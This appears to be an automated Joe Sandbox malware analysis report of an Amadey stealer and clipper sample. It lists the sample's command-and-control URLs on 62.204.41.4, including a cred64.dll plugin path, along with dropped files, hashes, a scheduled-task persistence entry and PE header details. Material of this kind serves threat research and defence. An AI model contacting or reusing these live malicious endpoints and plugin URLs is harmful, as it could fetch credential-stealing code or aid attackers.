http://62.204.41.4/Gol478Ns/Plugins/cred64.dllG	mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpm0	mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Golol478Ns/index.php	mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php342a2	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpyux	mnolyk.exe, 00000010.00000002.785793369.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phptch	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpIo	mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpc	mnolyk.exe, 00000010.00000003.741852374.0000000001197000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpe	mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpL	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php.	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phprundll32.exel	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpt	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpFo	mnolyk.exe, 00000010.00000002.785793369.000000000117F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phpe5342a2	mnolyk.exe, 00000010.00000002.785793369.000000000113A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.phprundll32.exe	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://62.204.41.4/Gol478Ns/index.php2	mnolyk.exe, 00000010.00000002.785793369.0000000001161000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.4	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	802001
Start date and time:	2023-02-08 21:27:22 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/14@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 41.2% (good quality ratio 39.5%) Quality average: 85% Quality standard deviation: 24.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 101 Number of non-executed functions: 134
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:31:08	API Interceptor	1989x Sleep call for process: mnolyk.exe modified
21:31:10	Task Scheduler	Run new task: mnolyk.exe path: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
62.204.41.4	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php
	file.exe	Get hash	malicious	Browse	62.204.41.4/Gol478Ns/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TNNET-ASTNNetOyMainnetworkFI	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	klXwCWqTsX.exe	Get hash	malicious	Browse	62.204.41.5
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4
	file.exe	Get hash	malicious	Browse	62.204.41.4

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\amMl.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.355221377978991
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2LDY3U21v:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21v
MD5:	03C5BA5FCE7124B503EA65EF522177C3
SHA1:	F76B1F538D5EA66664355901E927B2F870ACCDD8
SHA-256:	8128CE419BBE0419F1A0BDE97C3A14E3377C0184DC1D7AF61AA01AAB756B625B
SHA-512:	151A974DDABA852144EC4BC18C548227A32E5261736F186A3920F2497434AEE9DBB0E0AB77E0E52A84A9FBC4529A158882B7549763400DDC2082D384B1135141
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\clip64[1].dll, Author: Joe Security
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	391168
Entropy (8bit):	7.696590302349953
Encrypted:	false
SSDEEP:	6144:Ksy+bnr+2p0yN90QELcyqDU1HID5nWBoxGGkH2OA+tBMIms+zrnZR6z8d6Q:AMrWy90ZmDU1oABZGkWORr/+5RV4Q
MD5:	03D901B08C7DE9A3C6323A8C6DF73569
SHA1:	509117A267058FDE7DDEBCC55C6029BF4DFED936
SHA-256:	78FFBAB40C309B39013483768AD835FFE1466341E7766419623E47121796F75A
SHA-512:	B3903E6BB9ADA0600BE11F16C1A7A1AF78EECE2122BEE99518D216A0DCDA902FBC1577BF792951B7646C1380813E8CED8924178D410B373D723D4683255371D5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@..........................P............@...... .......................................p...................@..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc............r...\|..............@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	241664
Entropy (8bit):	6.368190069123744
Encrypted:	false
SSDEEP:	6144:YS/OgTLnk2FBtze+1T9uA/qruVyhVYjgVO:dO3v+uA+uVyhVvO
MD5:	8BB923C4D81284DAEF7896E5682DF6C6
SHA1:	67E34A96B77E44B666C5479F540995BDEACF5DE2
SHA-256:	9B0410052289A8416A458401FBB9A74D6361F4769465431B209F32151D7C6F21
SHA-512:	2DAED03277A343DB5FCB22E26BAEA5CDA41DE39DC825FE0AAD51F6EC181B8F38F09427F27FB58FFD179F37032600D107EF772CC6275F7D0D62899C6CD3F8AFF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.M...#...#...#.J. ...#.J.&..#.J.'...#..'...#.. ...#..&.:.#.J."...#..."..#....#.....#.!...#.Rich..#.........PE..L....8.c.............................y............@.......................................@.................................Hm..d................................(...?..p....................@......0@..@............................................text...}........................... ..`.rdata.............................@..@.data....D...........l..............@....rsrc...............................@..@.reloc...(.........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\amMl.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	372736
Entropy (8bit):	6.535399889112572
Encrypted:	false
SSDEEP:	6144:XkBx5F9AZ8UYK7uj8YCe6SjiELiqc++vJ:XIZAZ88ij8YvDjiYunJ
MD5:	AD3805672C5FE617D88DCE7E50E56B9F
SHA1:	B2DA5262E12A8AA60FB08406520D81F4B05695E8
SHA-256:	731CCE27B96AD4396F53F718EBE59A9F1096D4EB7DA50753B83F04503CE63B6D
SHA-512:	4B56CFE1452BEEF687706F801D1E0EFDBC84487B3587AD545DA2D2A39862F07F5C6B4F62F527F9B6C9961A32C7A223162DA1425DE6F02919ACE2868C770BEAFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........H...H...H...V.R.\...V.D.(...V.C.o...o...A...H..."...V.M.I...V.S.I...V.V.I...RichH...........................PE..L...o..b.....................z.......R............@..................................t..........................................d........]...................p..T....................................-..@...............X............................text............................... ..`.data...............................@....gus....F...........................@..@.dux.................&..............@..@.rsrc....].......^.................@..@.reloc..&...p...(..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\bmMg.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.97029807367379
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	7E93BACBBC33E6652E147E7FE07572A0
SHA1:	421A7167DA01C8DA4DC4D5234CA3DD84E319E762
SHA-256:	850CD190AAEEBCF1505674D97F51756F325E650320EAF76785D954223A9BEE38
SHA-512:	250169D7B6FCEBFF400BE89EDAE8340F14130CED70C340BA9DA9F225F62B52B35F6645BFB510962EFB866F988688CB42392561D3E6B72194BC89D310EA43AA91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.3469756750979025
Encrypted:	false
SSDEEP:	1536:Fto4NPCKLbqoYkbpplW9YoUsxXzbcouNhj2ZszsWuKcdJU7dz5QIaB89p:roUCWbBNpplToUs1uNhj25LJUDaB89p
MD5:	C79B74D8FEC5E7E2BA2F1789FD582A15
SHA1:	78A1E5D99DBACCC5E07B125E1DFB280112CB3128
SHA-256:	B5BD049D32F0FAEEA6CE65A0F0D326DE5BC4427A7C1AD24BFB0EA050C1DEC7D3
SHA-512:	0DEBFC54904FD538CFB1FC648D18F90A991337200B3DECF74B28AC2F341843FB3BAB4F45BC92CFEC333B18DFFF9CC136854462E79054A39926A7BD8EE2E057BA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........,Cy..Cy..Cy.....~Iy.....~.y.....~Qy.....~Ly.....~Ry.....~by.....~Fy..Cy...y.....~@y.....~By......By.....~By..RichCy..........PE..L....8.c...........!.................>....................................................@..........................J......<K..<...............................T... ?..p............................?..@...............,............................text...V........................... ..`.rdata...a.......b..................@..@.data...D....`.......D..............@....rsrc................P..............@..@.reloc..T............R..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.621829903792328
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPROZ/eIwcWWGu:q43tIkObRHXiMIWObtklI5LPROeIpfGu
MD5:	1B7C22A214949975556626D7217E9A39
SHA1:	D01C97E2944166ED23E47E4A62FF471AB8FA031F
SHA-256:	340C8464C2007CE3F80682E15DFAFA4180B641D53C14201B929906B7B0284D87
SHA-512:	BA64847CF1D4157D50ABE4F4A1E5C1996FE387C5808E2F758C7FB3213BFEFE1F3712D343F0C30A16819749840954654A70611D2250FD0F7B032429DB7AFD2CC5
Malicious:	false
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>..

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.240223928941852
Encrypted:	false
SSDEEP:	3:o3F:o1
MD5:	509B054634B6DE74F111C3E646BC80FD
SHA1:	99B4C0F39144A92FE42E22473A2A2552FB16BD13
SHA-256:	07C7C151ADD6D955F3C876359C0E2A3A3FB0C519DD1E574413F0B68B345D8C36
SHA-512:	A9C2D23947DBE09D5ECFBF6B3109F3CF8409E43176AE10C18083446EDE006E60E41C3EA2D2765036A967FC81B085D5F271686606AED4154AE45287D412CF6D40
Malicious:	false
Preview:	processed dir:

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.83021524008986
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	582144
MD5:	392470d5b5723c386b943751c15721a6
SHA1:	83491316d575cc2a867224532fe25e016d8c3f43
SHA256:	fd0d72d174c13185267e7e38ac8faf1e5b646e5852645e83dcc12a028214a707
SHA512:	ea71470597d021a0f0cf727ff5c3d3798ddb58d91ee279e62740482452acd790998716cb3a230ee9aef5d1e9a8d5e5027921ac9dab7740a2fcc16c53ca06d299
SSDEEP:	12288:eMroy908TE1aEzFLw/64P8A3MykWO2r/+hdd4u1QxgKj:Gy9I7FL7aRvLpr/EUGQ1j
TLSH:	D0C40217A7ED5022E4B967B018F703C70B37BEA11B35C657278F695A1C732A4A23532B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F74C4AD43D5h
jmp 00007F74C4AD3CE5h
push 00000058h
push 004072B8h
call 00007F74C4AD4477h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F74C4AD3CFAh
cmp eax, esi
jne 00007F74C4AD3CE9h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F74C4AD3CF2h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F74C4AD3CB9h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F74C4AD3CECh
push 0000001Fh
call 00007F74C4AD420Bh
pop ecx
jmp 00007F74C4AD3D1Ch
cmp dword ptr [004088B0h], ebx
jne 00007F74C4AD3D0Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F74C4AD3E36h
pop ecx
pop ecx
test eax, eax
je 00007F74C4AD3CF9h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F74C4AD3E19h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F74C4AD3CFDh
push 004010B4h
push 004010ACh
call 00007F74C4AD43C5h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x85ba8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x92000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
